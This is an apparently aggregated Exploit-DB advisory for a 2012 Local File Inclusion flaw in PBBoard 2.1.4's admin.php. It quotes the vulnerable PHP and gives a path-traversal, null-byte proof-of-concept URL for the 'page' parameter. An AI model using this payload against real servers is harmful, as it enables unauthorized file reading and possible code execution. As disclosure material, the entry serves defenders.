PBBoard 2.1.4 Local File Inclusion

vendor:

PBBoard

by:

n4ss1m

7,5

CVSS

HIGH

Local File Inclusion

CWE

Product Name: PBBoard

Affected Version From: 2.1.4

Affected Version To: 2.1.4

Patch Exists: NO

Related CWE: N/A

CPE: a:pbboard:pbboard:2.1.4

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: win/linux

2012

PBBoard 2.1.4 Local File Inclusion

PBBoard 2.1.4 is vulnerable to Local File Inclusion. An attacker can exploit this vulnerability to include local files on the server. This vulnerability exists due to insufficient sanitization of user-supplied input to the 'page' parameter in 'admin.php' script. An attacker can include local files on the server by supplying a relative pathname in the 'page' parameter. This can be exploited to execute arbitrary PHP code on the vulnerable server.

Mitigation:

Input validation should be used to prevent the exploitation of this vulnerability. Sanitize user-supplied input to the 'page' parameter in 'admin.php' script.

Source

Exploit-DB raw data:

################################################################################################
# Exploit Title: PBBoard 2.1.4 Local File Inclusion
# Software Link: http://www.pbboard.com/PBBoard_v2.1.4.zip
# Author: n4ss1m
# Date: 25-05-2012
# Tested on: win/linux
# Home : www.Sec4ever.com
################################################################################################
# Exploit-DB note:
# Need to be logged in, at the very least, as 
# a standard user to trigger this vulnerability
#

# Local File Inclusion ( admin.php )

<?php
	define('IN_PowerBB',true);
	$page = empty($_GET['page']) ? 'index' : $_GET['page']; # $page ==>
$_GET['page']
	$page = str_replace( 'note', 'notes', $page );
	$page = str_replace( 'index', 'main', $page );
	$module = ('modules/admin/'.$page.'.module.php'); # $module ==>
'modules/admin/'.$page.'.module.php'
	if (!file_exists($module))
	{
		....
	}
	require_once($module); # Ops ! LFI
	//////////
	$class_name = CLASS_NAME;
	$class_name = new $class_name;
	$class_name->run();
?>

# Explotion
http://domain.tld/admin.php?page=../../[FILENAME][Nullbyte]

# PoC :
http://domain.tld/admin.php?page=../../robots.txt%00

################################################################################################
# References         : http://www.exploit4arab.com/exploits/70
# Vendor reported on : 25-05-2012
# published on       : 27-05-2012
################################################################################################